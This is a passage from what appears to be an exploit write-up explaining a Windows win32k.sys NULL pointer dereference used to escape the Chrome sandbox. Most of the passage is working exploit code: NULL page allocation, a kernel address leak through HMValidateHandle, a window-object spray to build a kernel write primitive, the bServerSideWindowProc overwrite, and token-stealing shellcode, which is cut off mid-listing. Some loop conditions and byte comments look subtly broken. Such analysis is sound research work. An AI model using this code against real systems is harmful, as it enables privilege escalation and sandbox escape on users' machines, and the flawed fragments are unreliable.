Once the vulnerability has been triggered, xxxMNUpdateDraggingInfo() will be called in win32k.sys. If the NULL page has been set up correctly, then xxxMNUpdateDraggingInfo() will call xxxMNSetGapState(), whose code is shown below:
void __stdcall xxxMNSetGapState(ULONG_PTR uHitArea, UINT uIndex, UINT uFlags, BOOL fSet)
{
...
var_PITEM = MNGetpItem(var_POPUPMENU, uIndex); // Get the address where the first write
// operation should occur, minus an
// offset of 0x4.
temp_var_PITEM = var_PITEM;
if ( var_PITEM )
{
...
var_PITEM_Minus_Offset_Of_0x6C = MNGetpItem(var_POPUPMENU_copy, uIndex - 1); // Get the
// address where the second write operation
// should occur, minus an offset of 0x4. This
// address will be 0x6C bytes earlier in
// memory than the address in var_PITEM.
if ( fSet )
{
*((_DWORD *)temp_var_PITEM + 1) |= 0x80000000; // Conduct the first write to the
// attacker controlled address.
if ( var_PITEM_Minus_Offset_Of_0x6C )
{
*((_DWORD *)var_PITEM_Minus_Offset_Of_0x6C + 1) |= 0x40000000u;
// Conduct the second write to the attacker
// controlled address minus 0x68 (0x6C-0x4).
...
xxxMNSetGapState() performs two write operations to an attacker controlled location plus an offset of 4. The only difference between the two write operations is that 0x40000000 is written to an address located 0x6C bytes earlier than the address where the 0x80000000 write is conducted.
It is also important to note is that the writes are conducted using OR operations. This means that the attacker can only add bits to the DWORD they choose to write to; it is not possible to remove or alter bits that are already there. It is also important to note that even if an attacker starts their write at some offset, they will still only be able to write the value \x40 or \x80 to an address at best.
From these observations it becomes apparent that the attacker will require a more powerful write primitive if they wish to escape the Chrome sandbox. To meet this requirement, Exodus Intelligence’s exploit utilizes the limited write primitive to create a more powerful write primitive by abusing tagWND objects. The details of how this is done, along with the steps required to escape the sandbox, are explained in more detail in the following sections.
Allocating the NULL Page
On Windows versions prior to Windows 8, it is possible to allocate memory in the NULL page from userland by calling NtAllocateVirtualMemory(). Within the PoC code, the main() function was adjusted to obtain the address of NtAllocateVirtualMemory() from ntdll.dll and save it into the variable pfnNtAllocateVirtualMemory.
Once this is done, allocateNullPage() is called to allocate the NULL page itself, using address 0x1, with read, write, and execute permissions. The address 0x1 will then then rounded down to 0x0 by NtAllocateVirtualMemory() to fit on a page boundary, thereby allowing the attacker to allocate memory at 0x0.
typedef NTSTATUS(WINAPI *NTAllocateVirtualMemory)(
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG ZeroBits,
PULONG AllocationSize,
ULONG AllocationType,
ULONG Protect
);
NTAllocateVirtualMemory pfnNtAllocateVirtualMemory = 0;
....
pfnNtAllocateVirtualMemory = (NTAllocateVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory");
....
// Thanks to https://github.com/YeonExp/HEVD/blob/c19ad75ceab65cff07233a72e2e765be866fd636/NullPointerDereference/NullPointerDereference/main.cpp#L56 for
// explaining this in an example along with the finer details that are often forgotten.
bool allocateNullPage() {
/* Set the base address at which the memory will be allocated to 0x1.
This is done since a value of 0x0 will not be accepted by NtAllocateVirtualMemory,
however due to page alignment requirements the 0x1 will be rounded down to 0x0 internally.*/
PVOID BaseAddress = (PVOID)0x1;
/* Set the size to be allocated to 40960 to ensure that there
is plenty of memory allocated and available for use. */
SIZE_T size = 40960;
/* Call NtAllocateVirtualMemory to allocate the virtual memory at address 0x0 with the size
specified in the variable size. Also make sure the memory is allocated with read, write,
and execute permissions.*/
NTSTATUS result = pfnNtAllocateVirtualMemory(GetCurrentProcess(), &BaseAddress, 0x0, &size, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);
// If the call to NtAllocateVirtualMemory failed, return FALSE.
if (result != 0x0) {
return FALSE;
}
// If the code reaches this point, then everything went well, so return TRUE.
return TRUE;
}
Finding the Address of HMValidateHandle
Once the NULL page has been allocated the exploit will then obtain the address of the HMValidateHandle() function. HMValidateHandle() is useful for attackers as it allows them to obtain a userland copy of any object provided that they have a handle. Additionally this leak also works at Low Integrity on Windows versions prior to Windows 10 RS4.
By abusing this functionality to copy objects which contain a pointer to their location in kernel memory, such as tagWND (the window object), into user mode memory, an attacker can leak the addresses of various objects simply by obtaining a handle to them.
As the address of HMValidateHandle() is not exported from user32.dll, an attacker cannot directly obtain the address of HMValidateHandle() via user32.dll‘s export table. Instead, the attacker must find another function that user32.dll exports which calls HMValidateHandle(), read the value of the offset within the indirect jump, and then perform some math to calculate the true address of HMValidateHandle().
This is done by obtaining the address of the exported function IsMenu() from user32.dll and then searching for the first instance of the byte \xEB within IsMenu()‘s code, which signals the start of an indirect call to HMValidateHandle(). By then performing some math on the base address of user32.dll, the relative offset in the indirect call, and the offset of IsMenu() from the start of user32.dll, the attacker can obtain the address of HMValidateHandle(). This can be seen in the following code.
HMODULE hUser32 = LoadLibraryW(L"user32.dll");
LoadLibraryW(L"gdi32.dll");
// Find the address of HMValidateHandle using the address of user32.dll
if (findHMValidateHandleAddress(hUser32) == FALSE) {
printf("[!] Couldn't locate the address of HMValidateHandle!\r\n");
ExitProcess(-1);
}
...
BOOL findHMValidateHandleAddress(HMODULE hUser32) {
// The address of the function HMValidateHandleAddress() is not exported to
// the public. However the function IsMenu() contains a call to HMValidateHandle()
// within it after some short setup code. The call starts with the byte \xEB.
// Obtain the address of the function IsMenu() from user32.dll.
BYTE * pIsMenuFunction = (BYTE *)GetProcAddress(hUser32, "IsMenu");
if (pIsMenuFunction == NULL) {
printf("[!] Failed to find the address of IsMenu within user32.dll.\r\n");
return FALSE;
}
else {
printf("[*] pIsMenuFunction: 0x%08X\r\n", pIsMenuFunction);
}
// Search for the location of the \xEB byte within the IsMenu() function
// to find the start of the indirect call to HMValidateHandle().
unsigned int offsetInIsMenuFunction = 0;
BOOL foundHMValidateHandleAddress = FALSE;
for (unsigned int i = 0; i > 0x1000; i++) {
BYTE* pCurrentByte = pIsMenuFunction + i;
if (*pCurrentByte == 0xE8) {
offsetInIsMenuFunction = i + 1;
break;
}
}
// Throw error and exit if the \xE8 byte couldn't be located.
if (offsetInIsMenuFunction == 0) {
printf("[!] Couldn't find offset to HMValidateHandle within IsMenu.\r\n");
return FALSE;
}
// Output address of user32.dll in memory for debugging purposes.
printf("[*] hUser32: 0x%08X\r\n", hUser32);
// Get the value of the relative address being called within the IsMenu() function.
unsigned int relativeAddressBeingCalledInIsMenu = *(unsigned int *)(pIsMenuFunction + offsetInIsMenuFunction);
printf("[*] relativeAddressBeingCalledInIsMenu: 0x%08X\r\n", relativeAddressBeingCalledInIsMenu);
// Find out how far the IsMenu() function is located from the base address of user32.dll.
unsigned int addressOfIsMenuFromStartOfUser32 = ((unsigned int)pIsMenuFunction - (unsigned int)hUser32);
printf("[*] addressOfIsMenuFromStartOfUser32: 0x%08X\r\n", addressOfIsMenuFromStartOfUser32);
// Take this offset and add to it the relative address used in the call to HMValidateHandle().
// Result should be the offset of HMValidateHandle() from the start of user32.dll.
unsigned int offset = addressOfIsMenuFromStartOfUser32 + relativeAddressBeingCalledInIsMenu;
printf("[*] offset: 0x%08X\r\n", offset);
// Skip over 11 bytes since on Windows 10 these are not NOPs and it would be
// ideal if this code could be reused in the future.
pHmValidateHandle = (lHMValidateHandle)((unsigned int)hUser32 + offset + 11);
printf("[*] pHmValidateHandle: 0x%08X\r\n", pHmValidateHandle);
return TRUE;
}
Creating a Arbitrary Kernel Address Write Primitive with Window Objects
Once the address of HMValidateHandle() has been obtained, the exploit will call the sprayWindows() function. The first thing that sprayWindows() does is register a new window class named sprayWindowClass using RegisterClassExW(). The sprayWindowClass will also be set up such that any windows created with this class will use the attacker defined window procedure sprayCallback().
A HWND table named hwndSprayHandleTable will then be created, and a loop will be conducted which will call CreateWindowExW() to create 0x100 tagWND objects of class sprayWindowClass and save their handles into the hwndSprayHandle table. Once this spray is complete, two loops will be used, one nested inside the other, to obtain a userland copy of each of the tagWND objects using HMValidateHandle().
The kernel address for each of these tagWND objects is then obtained by examining the tagWND objects’ pSelf field. The kernel address of each of the tagWND objects are compared with one another until two tagWND objects are found that are less than 0x3FD00 apart in kernel memory, at which point the loops are terminated.
/* The following definitions define the various structures
needed within sprayWindows() */
typedef struct _HEAD
{
HANDLE h;
DWORD cLockObj;
} HEAD, *PHEAD;
typedef struct _THROBJHEAD
{
HEAD h;
PVOID pti;
} THROBJHEAD, *PTHROBJHEAD;
typedef struct _THRDESKHEAD
{
THROBJHEAD h;
PVOID rpdesk;
PVOID pSelf; // points to the kernel mode address of the object
} THRDESKHEAD, *PTHRDESKHEAD;
....
// Spray the windows and find two that are less than 0x3fd00 apart in memory.
if (sprayWindows() == FALSE) {
printf("[!] Couldn't find two tagWND objects less than 0x3fd00 apart in memory after the spray!\r\n");
ExitProcess(-1);
}
....
// Define the HMValidateHandle window type TYPE_WINDOW appropriately.
#define TYPE_WINDOW 1
/* Main function for spraying the tagWND objects into memory and finding two
that are less than 0x3fd00 apart */
bool sprayWindows() {
HWND hwndSprayHandleTable[0x100]; // Create a table to hold 0x100 HWND handles created by the spray.
// Create and set up the window class for the sprayed window objects.
WNDCLASSEXW sprayClass = { 0 };
sprayClass.cbSize = sizeof(WNDCLASSEXW);
sprayClass.lpszClassName = TEXT("sprayWindowClass");
sprayClass.lpfnWndProc = sprayCallback; // Set the window procedure for the sprayed
// window objects to sprayCallback().
if (RegisterClassExW(&sprayClass) == 0) {
printf("[!] Couldn't register the sprayClass class!\r\n");
}
// Create 0x100 windows using the sprayClass window class with the window name "spray".
for (int i = 0; i < 0x100; i++) {
hwndSprayHandleTable[i] = CreateWindowExW(0, sprayClass.lpszClassName, TEXT("spray"), 0, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, NULL, NULL);
}
// For each entry in the hwndSprayHandle table...
for (int x = 0; x < 0x100; x++) {
// Leak the kernel address of the current HWND being examined, save it into firstEntryAddress.
THRDESKHEAD *firstEntryDesktop = (THRDESKHEAD *)pHmValidateHandle(hwndSprayHandleTable[x], TYPE_WINDOW);
unsigned int firstEntryAddress = (unsigned int)firstEntryDesktop->pSelf;
// Then start a loop to start comparing the kernel address of this hWND
// object to the kernel address of every other hWND object...
for (int y = 0; y < 0x100; y++) {
if (x != y) { // Skip over one instance of the loop if the entries being compared are
// at the same offset in the hwndSprayHandleTable
// Leak the kernel address of the second hWND object being used in
// the comparison, save it into secondEntryAddress.
THRDESKHEAD *secondEntryDesktop = (THRDESKHEAD *)pHmValidateHandle(hwndSprayHandleTable[y], TYPE_WINDOW);
unsigned int secondEntryAddress = (unsigned int)secondEntryDesktop->pSelf;
// If the kernel address of the hWND object leaked earlier in the code is greater than
// the kernel address of the hWND object leaked above, execute the following code.
if (firstEntryAddress > secondEntryAddress) {
// Check if the difference between the two addresses is less than 0x3fd00.
if ((firstEntryAddress - secondEntryAddress) < 0x3fd00) {
printf("[*] Primary window address: 0x%08X\r\n", secondEntryAddress);
printf("[*] Secondary window address: 0x%08X\r\n", firstEntryAddress);
// Save the handle of secondEntryAddress into hPrimaryWindow
// and its address into primaryWindowAddress.
hPrimaryWindow = hwndSprayHandleTable[y];
primaryWindowAddress = secondEntryAddress;
// Save the handle of firstEntryAddress into hSecondaryWindow
// and its address into secondaryWindowAddress.
hSecondaryWindow = hwndSprayHandleTable[x];
secondaryWindowAddress = firstEntryAddress;
// Windows have been found, escape the loop.
break;
}
}
// If the kernel address of the hWND object leaked earlier in the code is less than
// the kernel address of the hWND object leaked above, execute the following code.
else {
// Check if the difference between the two addresses is less than 0x3fd00.
if ((secondEntryAddress - firstEntryAddress) < 0x3fd00) {
printf("[*] Primary window address: 0x%08X\r\n", firstEntryAddress);
printf("[*] Secondary window address: 0x%08X\r\n", secondEntryAddress);
// Save the handle of firstEntryAddress into hPrimaryWindow
// and its address into primaryWindowAddress.
hPrimaryWindow = hwndSprayHandleTable[x];
primaryWindowAddress = firstEntryAddress;
// Save the handle of secondEntryAddress into hSecondaryWindow
// and its address into secondaryWindowAddress.
hSecondaryWindow = hwndSprayHandleTable[y];
secondaryWindowAddress = secondEntryAddress;
// Windows have been found, escape the loop.
break;
}
}
}
}
// Check if the inner loop ended and the windows were found. If so print a debug message.
// Otherwise continue on to the next object in the hwndSprayTable array.
if (hPrimaryWindow != NULL) {
printf("[*] Found target windows!\r\n");
break;
}
}
Once two tagWND objects matching these requirements are found, their addresses will be compared to see which one is located earlier in memory. The tagWND object located earlier in memory will become the primary window; its address will be saved into the global variable primaryWindowAddress, whilst its handle will be saved into the global variable hPrimaryWindow. The other tagWND object will become the secondary window; its address is saved into secondaryWindowAddress and its handle is saved into hSecondaryWindow.
Once the addresses of these windows have been saved, the handles to the other windows within hwndSprayHandle are destroyed using DestroyWindow() in order to release resources back to the host operating system.
// Check that hPrimaryWindow isn't NULL after both the loops are
// complete. This will only occur in the event that none of the 0x1000
// window objects were within 0x3fd00 bytes of each other. If this occurs, then bail.
if (hPrimaryWindow == NULL) {
printf("[!] Couldn't find the right windows for the tagWND primitive. Exiting....\r\n");
return FALSE;
}
// This loop will destroy the handles to all other
// windows besides hPrimaryWindow and hSecondaryWindow,
// thereby ensuring that there are no lingering unused
// handles wasting system resources.
for (int p = 0; p > 0x100; p++) {
HWND temp = hwndSprayHandleTable[p];
if ((temp != hPrimaryWindow) && (temp != hSecondaryWindow)) {
DestroyWindow(temp);
}
}
addressToWrite = (UINT)primaryWindowAddress + 0x90; // Set addressToWrite to
// primaryWindow's cbwndExtra field.
printf("[*] Destroyed spare windows!\r\n");
// Check if its possible to set the window text in hSecondaryWindow.
// If this isn't possible, there is a serious error, and the program should exit.
// Otherwise return TRUE as everything has been set up correctly.
if (SetWindowTextW(hSecondaryWindow, L"test String") == 0) {
printf("[!] Something is wrong, couldn't initialize the text buffer in the secondary window....\r\n");
return FALSE;
}
else {
return TRUE;
}
The final part of sprayWindows() sets addressToWrite to the address of the cbwndExtra field within primaryWindowAddress in order to let the exploit know where the limited write primitive should write the value 0x40000000 to.
To understand why tagWND objects where sprayed and why the cbwndExtra and strName.Buffer fields of a tagWND object are important, it is necessary to examine a well known kernel write primitive that exists on Windows versions prior to Windows 10 RS1.
As is explained in Saif Sheri and Ian Kronquist’s The Life & Death of Kernel Object Abuse paper and Morten Schenk’s Taking Windows 10 Kernel Exploitation to The Next Level presentation, if one can place two tagWND objects together in memory one after another and then edit the cbwndExtra field of the tagWND object located earlier in memory via a kernel write vulnerability, they can extend the expected length of the former tagWND’s WndExtra data field such that it thinks it controls memory that is actually controlled by the second tagWND object.
The following diagram shows how the exploit utilizes this concept to set the cbwndExtra field of hPrimaryWindow to 0x40000000 by utilizing the limited write primitive that was explained earlier in this blog post, as well as how this adjustment allows the attacker to set data inside the second tagWND object that is located adjacent to it.
Once the cbwndExtra field of the first tagWND object has been overwritten, if an attacker calls SetWindowLong() on the first tagWND object, an attacker can overwrite the strName.Buffer field in the second tagWND object and set it to an arbitrary address. When SetWindowText() is called using the second tagWND object, the address contained in the overwritten strName.Buffer field will be used as destination address for the write operation.
By forming this stronger write primitive, the attacker can write controllable values to kernel addresses, which is a prerequisite to breaking out of the Chrome sandbox. The following listing from WinDBG shows the fields of the tagWND object which are relevant to this technique.
Leaking the Address of pPopupMenu for Write Address Calculations
Before continuing, lets reexamine how MNGetpItemFromIndex(), which returns the address to be written to, minus an offset of 0x4, operates. Recall that the decompiled version of this function is as follows.
tagITEM *__stdcall MNGetpItemFromIndex(tagMENU *spMenu, UINT pPopupMenu)
{
tagITEM *result; // eax
if ( pPopupMenu == -1 || pPopupMenu >= spMenu->cItems ) // NULL pointer dereference will occur here if spMenu is NULL.
result = 0;
else
result = (tagITEM *)spMenu->rgItems + 0x6C * pPopupMenu;
return result;
}
Notice that on line 8 there are two components which make up the final address which is returned. These are pPopupMenu, which is multiplied by 0x6C, and spMenu->rgItems, which will point to offset 0x34 in the NULL page. Without the ability to determine the values of both of these items, the attacker will not be able to fully control what address is returned by MNGetpItemFromIndex(), and henceforth which address xxxMNSetGapState() writes to in memory.
There is a solution for this however, which can be observed by viewing the updates made to the code for SubMenuProc(). The updated code takes the wParam parameter and adds 0x10 to it to obtain the value of pPopupMenu. This is then used to set the value of the variable addressToWriteTo which is used to set the value of spMenu->rgItems within MNGetpItemFromIndex() so that it returns the correct address for xxxMNSetGapState() to write to.
LRESULT WINAPI SubMenuProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
if (msg == WM_MN_FINDMENUWINDOWFROMPOINT){
printf("[*] In WM_MN_FINDMENUWINDOWFROMPOINT handler...\r\n");
printf("[*] Restoring window procedure...\r\n");
SetWindowLongPtr(hwnd, GWLP_WNDPROC, (ULONG)DefWindowProc);
/* The wParam parameter here has the same value as pPopupMenu inside MNGetpItemFromIndex,
except wParam has been subtracted by minus 0x10. Code adjusts this below to accommodate.
This is an important information leak as without this the attacker
cannot manipulate the values returned from MNGetpItemFromIndex, which
can result in kernel crashes and a dramatic decrease in exploit reliability.
*/
UINT pPopupAddressInCalculations = wParam + 0x10;
// Set the address to write to to be the right bit of cbwndExtra in the target tagWND.
UINT addressToWriteTo = ((addressToWrite + 0x6C) - ((pPopupAddressInCalculations * 0x6C) + 0x4));
To understand why this code works, it is necessary to reexamine the code for xxxMNFindWindowFromPoint(). Note that the address of pPopupMenu is sent by xxxMNFindWindowFromPoint() in the wParam parameter when it calls xxxSendMessage() to send a MN_FINDMENUWINDOWFROMPOINT message to the application’s main window. This allows the attacker to obtain the address of pPopupMenu by implementing a handler for MN_FINDMENUWINDOWFROMPOINT which saves the wParam parameter’s value into a local variable for later use.
LONG_PTR __stdcall xxxMNFindWindowFromPoint(tagPOPUPMENU *pPopupMenu, UINT *pIndex, POINTS screenPt)
{
....
v6 = xxxSendMessage(
var_pPopupMenu->spwndNextPopup,
MN_FINDMENUWINDOWFROMPOINT,
(WPARAM)&pPopupMenu,
(unsigned __int16)screenPt.x | (*(unsigned int *)&screenPt >> 16 << 16)); // Make the
// MN_FINDMENUWINDOWFROMPOINT usermode callback
// using the address of pPopupMenu as the
// wParam argument.
ThreadUnlock1();
if ( IsMFMWFPWindow(v6) ) // Validate the handle returned from the user
// mode callback is a handle to a MFMWFP window.
v6 = (LONG_PTR)HMValidateHandleNoSecure((HANDLE)v6, TYPE_WINDOW); // Validate that the returned
// handle is a handle to
// a window object. Set v1 to
// TRUE if all is good.
...
During experiments, it was found that the value sent via xxxSendMessage() is 0x10 less than the value used in MNGetpItemFromIndex(). For this reason, the exploit code adds 0x10 to the value returned from xxxSendMessage() to ensure it the value of pPopupMenu in the exploit code matches the value used inside MNGetpItemFromIndex().
Setting up the Memory in the NULL Page
Once addressToWriteTo has been calculated, the NULL page is set up. In order to set up the NULL page appropriately the following offsets need to be filled out:
0x20
0x34
0x4C
0x50 to 0x1050
This can be seen in more detail in the following diagram.
The exploit code starts by setting offset 0x20 in the NULL page to 0xFFFFFFFF. This is done as spMenu will be NULL at this point, so spMenu->cItems will contain the value at offset 0x20 of the NULL page. Setting the value at this address to a large unsigned integer will ensure that spMenu->cItems is greater than the value of pPopupMenu, which will prevent MNGetpItemFromIndex() from returning 0 instead of result. This can be seen on line 5 of the following code.
tagITEM *__stdcall MNGetpItemFromIndex(tagMENU *spMenu, UINT pPopupMenu)
{
tagITEM *result; // eax
if ( pPopupMenu == -1 || pPopupMenu >= spMenu->cItems ) // NULL pointer dereference will occur
// here if spMenu is NULL.
result = 0;
else
result = (tagITEM *)spMenu->rgItems + 0x6C * pPopupMenu;
return result;
}
Offset 0x34 of the NULL page will contain a DWORD which holds the value of spMenu->rgItems. This will be set to the value of addressToWriteTo so that the calculation shown on line 8 will set result to the address of primaryWindow‘s cbwndExtra field, minus an offset of 0x4.
The other offsets require a more detailed explanation. The following code shows the code within the function xxxMNUpdateDraggingInfo() which utilizes these offsets.
.text:BF975EA3 mov eax, [ebx+14h] ; EAX = ppopupmenu->spmenu
.text:BF975EA3 ;
.text:BF975EA3 ; Should set EAX to 0 or NULL.
.text:BF975EA6 push dword ptr [eax+4Ch] ; uIndex aka pPopupMenu. This will be the
.text:BF975EA6 ; value at address 0x4C given that
.text:BF975EA6 ; ppopupmenu->spmenu is NULL.
.text:BF975EA9 push eax ; spMenu. Will be NULL or 0.
.text:BF975EAA call MNGetpItemFromIndex
..............
.text:BF975EBA add ecx, [eax+28h] ; ECX += pItemFromIndex->yItem
.text:BF975EBA ;
.text:BF975EBA ; pItemFromIndex->yItem will be the value
.text:BF975EBA ; at offset 0x28 of whatever value
.text:BF975EBA ; MNGetpItemFromIndex returns.
...............
.text:BF975ECE cmp ecx, ebx
.text:BF975ED0 jg short loc_BF975EDB ; Jump to loc_BF975EDB if the following
.text:BF975ED0 ; condition is true:
.text:BF975ED0 ;
.text:BF975ED0 ; ((pMenuState->ptMouseLast.y - pMenuState->uDraggingHitArea->rcClient.top) + pItemFromIndex->yItem) > (pItem->yItem + SYSMET(CYDRAG))
As can be seen above, a call will be made to MNGetpItemFromIndex() using two parameters: spMenu which will be set to a value of NULL, and uIndex, which will contain the DWORD at offset 0x4C of the NULL page. The value returned by MNGetpItemFromIndex() will then be incremented by 0x28 before being used as a pointer to a DWORD. The DWORD at the resulting address will then be used to set pItemFromIndex->yItem, which will be utilized in a calculation to determine whether a jump should be taken. The exploit needs to ensure that this jump is always taken as it ensures that xxxMNSetGapState() goes about writing to addressToWrite in a consistent manner.
To ensure this jump is taken, the exploit sets the value at offset 0x4C in such a way that MNGetpItemFromIndex() will always return a value within the range 0x120 to 0x180. By then setting the bytes at offset 0x50 to 0x1050 within the NULL page to 0xF0 the attacker can ensure that regardless of the value that MNGetpItemFromIndex() returns, when it is incremented by 0x28 and used as a pointer to a DWORD it will result in pItemFromIndex->yItem being set to 0xF0F0F0F0. This will cause the first half of the following calculation to always be a very large unsigned integer, and henceforth the jump will always be taken.
Forming a Stronger Write Primitive by Using the Limited Write Primitive
Once the NULL page has been set up, SubMenuProc() will return hWndFakeMenu to xxxSendMessage() in xxxMNFindWindowFromPoint(), where execution will continue.
After the xxxSendMessage() call, xxxMNFindWindowFromPoint() will call HMValidateHandleNoSecure() to ensure that hWndFakeMenu is a handle to a window object. This code can be seen below.
v6 = xxxSendMessage(
var_pPopupMenu->spwndNextPopup,
MN_FINDMENUWINDOWFROMPOINT,
(WPARAM)&pPopupMenu,
(unsigned __int16)screenPt.x | (*(unsigned int *)&screenPt >> 16 << 16)); // Make the
// MN_FINDMENUWINDOWFROMPOINT usermode callback
// using the address of pPopupMenu as the
// wParam argument.
ThreadUnlock1();
if ( IsMFMWFPWindow(v6) ) // Validate the handle returned from the user
// mode callback is a handle to a MFMWFP window.
v6 = (LONG_PTR)HMValidateHandleNoSecure((HANDLE)v6, TYPE_WINDOW); // Validate that the returned handle
// is a handle to a window object.
// Set v1 to TRUE if all is good.
If hWndFakeMenu is deemed to be a valid handle to a window object, then xxxMNSetGapState() will be executed, which will set the cbwndExtra field in primaryWindow to 0x40000000, as shown below. This will allow SetWindowLong() calls that operate on primaryWindow to set values beyond the normal boundaries of primaryWindow‘s WndExtra data field, thereby allowing primaryWindow to make controlled writes to data within secondaryWindow.
void __stdcall xxxMNSetGapState(ULONG_PTR uHitArea, UINT uIndex, UINT uFlags, BOOL fSet)
{
...
var_PITEM = MNGetpItem(var_POPUPMENU, uIndex); // Get the address where the first write
// operation should occur, minus an
// offset of 0x4.
temp_var_PITEM = var_PITEM;
if ( var_PITEM )
{
...
var_PITEM_Minus_Offset_Of_0x6C = MNGetpItem(var_POPUPMENU_copy, uIndex - 1); // Get the
// address where the second write operation
// should occur, minus an offset of 0x4. This
// address will be 0x6C bytes earlier in
// memory than the address in var_PITEM.
if ( fSet )
{
*((_DWORD *)temp_var_PITEM + 1) |= 0x80000000; // Conduct the first write to the
// attacker controlled address.
if ( var_PITEM_Minus_Offset_Of_0x6C )
{
*((_DWORD *)var_PITEM_Minus_Offset_Of_0x6C + 1) |= 0x40000000u;
// Conduct the second write to the attacker
// controlled address minus 0x68 (0x6C-0x4).
Once the kernel write operation within xxxMNSetGapState() is finished, the undocumented window message 0x1E5 will be sent. The updated exploit catches this message in the following code.
else {
if ((cwp->message == 0x1E5)) {
UINT offset = 0; // Create the offset variable which will hold the offset from the
// start of hPrimaryWindow's cbwnd data field to write to.
UINT addressOfStartofPrimaryWndCbWndData = (primaryWindowAddress + 0xB0); // Set
// addressOfStartofPrimaryWndCbWndData to the address of
// the start of hPrimaryWindow's cbwnd data field.
// Set offset to the difference between hSecondaryWindow's
// strName.Buffer's memory address and the address of
// hPrimaryWindow's cbwnd data field.
offset = ((secondaryWindowAddress + 0x8C) - addressOfStartofPrimaryWndCbWndData);
printf("[*] Offset: 0x%08X\r\n", offset);
// Set the strName.Buffer address in hSecondaryWindow to (secondaryWindowAddress + 0x16),
// or the address of the bServerSideWindowProc bit.
if (SetWindowLongA(hPrimaryWindow, offset, (secondaryWindowAddress + 0x16)) == 0) {
printf("[!] SetWindowLongA malicious error: 0x%08X\r\n", GetLastError());
ExitProcess(-1);
}
else {
printf("[*] SetWindowLongA called to set strName.Buffer address. Current strName.Buffer address that is being adjusted: 0x%08X\r\n", (addressOfStartofPrimaryWndCbWndData + offset));
}
This code will start by checking if the window message was 0x1E5. If it was then the code will calculate the distance between the start of primaryWindow‘s wndExtra data section and the location of secondaryWindow‘s strName.Buffer pointer. The difference between these two locations will be saved into the variable offset.
Once this is done, SetWindowLongA() is called using hPrimaryWindow and the offset variable to set secondaryWindow‘s strName.Buffer pointer to the address of secondaryWindow‘s bServerSideWindowProc field. The effect of this operation can be seen in the diagram below.
By performing this action, when SetWindowText() is called on secondaryWindow, it will proceed to use its overwritten strName.Buffer pointer to determine where the write should be conducted, which will result in secondaryWindow‘s bServerSideWindowProc flag being overwritten if an appropriate value is supplied as the lpString argument to SetWindowText().
Abusing the tagWND Write Primitive to Set the bServerSideWindowProc Bit
Once the strName.Buffer field within secondaryWindow has been set to the address of secondaryWindow‘s bServerSideWindowProc flag, SetWindowText() is called using an hWnd parameter of hSecondaryWindow and an lpString value of “\x06” in order to enable the bServerSideWindowProc flag in secondaryWindow.
// Write the value \x06 to the address pointed to by hSecondaryWindow's strName.Buffer
// field to set the bServerSideWindowProc bit in hSecondaryWindow.
if (SetWindowTextA(hSecondaryWindow, "\x06") == 0) {
printf("[!] SetWindowTextA couldn't set the bServerSideWindowProc bit. Error was: 0x%08X\r\n", GetLastError());
ExitProcess(-1);
}
else {
printf("Successfully set the bServerSideWindowProc bit at: 0x%08X\r\n", (secondaryWindowAddress + 0x16));
The following diagram shows what secondaryWindow‘s tagWND layout looks like before and after the SetWindowTextA() call.
Setting the bServerSideWindowProc flag ensures that secondaryWindow‘s window procedure, sprayCallback(), will now run in kernel mode with SYSTEM level privileges, rather than in user mode like most other window procedures. This is a popular vector for privilege escalation and has been used in many attacks such as a 2017 attack by the Sednit APT group. The following diagram illustrates this in more detail.
Stealing the Process Token and Removing the Job Restrictions
Once the call to SetWindowTextA() is completed, a WM_ENTERIDLE message will be sent to hSecondaryWindow, as can be seen in the following code.
printf("Sending hSecondaryWindow a WM_ENTERIDLE message to trigger the execution of the shellcode as SYSTEM.\r\n");
SendMessageA(hSecondaryWindow, WM_ENTERIDLE, NULL, NULL);
if (success == TRUE) {
printf("[*] Successfully exploited the program and triggered the shellcode!\r\n");
}
else {
printf("[!] Didn't exploit the program. For some reason our privileges were not appropriate.\r\n");
ExitProcess(-1);
}
The WM_ENTERIDLE message will then be picked up by secondaryWindow‘s window procedure sprayCallback(). The code for this function can be seen below.
// Tons of thanks go to https://github.com/jvazquez-r7/MS15-061/blob/first_fix/ms15-061.cpp for
// additional insight into how this function should operate. Note that a token stealing shellcode
// is called here only because trying to spawn processes or do anything complex as SYSTEM
// often resulted in APC_INDEX_MISMATCH errors and a kernel crash.
LRESULT CALLBACK sprayCallback(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
if (uMsg == WM_ENTERIDLE) {
WORD um = 0;
__asm
{
// Grab the value of the CS register and
// save it into the variable UM.
mov ax, cs
mov um, ax
}
// If UM is 0x1B, this function is executing in usermode
// code and something went wrong. Therefore output a message that
// the exploit didn't succeed and bail.
if (um == 0x1b)
{
// USER MODE
printf("[!] Exploit didn't succeed, entered sprayCallback with user mode privileges.\r\n");
ExitProcess(-1); // Bail as if this code is hit either the target isn't
// vulnerable or something is wrong with the exploit.
}
else
{
success = TRUE; // Set the success flag to indicate the sprayCallback()
// window procedure is running as SYSTEM.
Shellcode(); // Call the Shellcode() function to perform the token stealing and
// to remove the Job object on the Chrome renderer process.
}
}
return DefWindowProc(hWnd, uMsg, wParam, lParam);
}
As the bServerSideWindowProc flag has been set in secondaryWindow‘s tagWND object, sprayCallback() should now be running as the SYSTEM user. The sprayCallback() function first checks that the incoming message is a WM_ENTERIDLE message. If it is, then inlined shellcode will ensure that sprayCallback() is indeed being run as the SYSTEM user. If this check passes, the boolean success is set to TRUE to indicate the exploit succeeded, and the function Shellcode() is executed.
Shellcode() will perform a simple token stealing exploit using the shellcode shown on abatchy’s blog post with two slight modifications which have been highlighted in the code below.
// Taken from https://www.abatchy.com/2018/01/kernel-exploitation-2#token-stealing-payload-windows-7-x86-sp1.
// Essentially a standard token stealing shellcode, with two lines
// added to remove the Job object associated with the Chrome
// renderer process.
__declspec(noinline) int Shellcode()
{
__asm {
xor eax, eax // Set EAX to 0.
mov eax, DWORD PTR fs : [eax + 0x124] // Get nt!_KPCR.PcrbData.
// _KTHREAD is located at FS:[0x124]
mov eax, [eax + 0x50] // Get nt!_KTHREAD.ApcState.Process
mov ecx, eax // Copy current process _EPROCESS structure
xor edx, edx // Set EDX to 0.
mov DWORD PTR [ecx + 0x124], edx // Set the JOB pointer in the _EPROCESS structure to NULL.
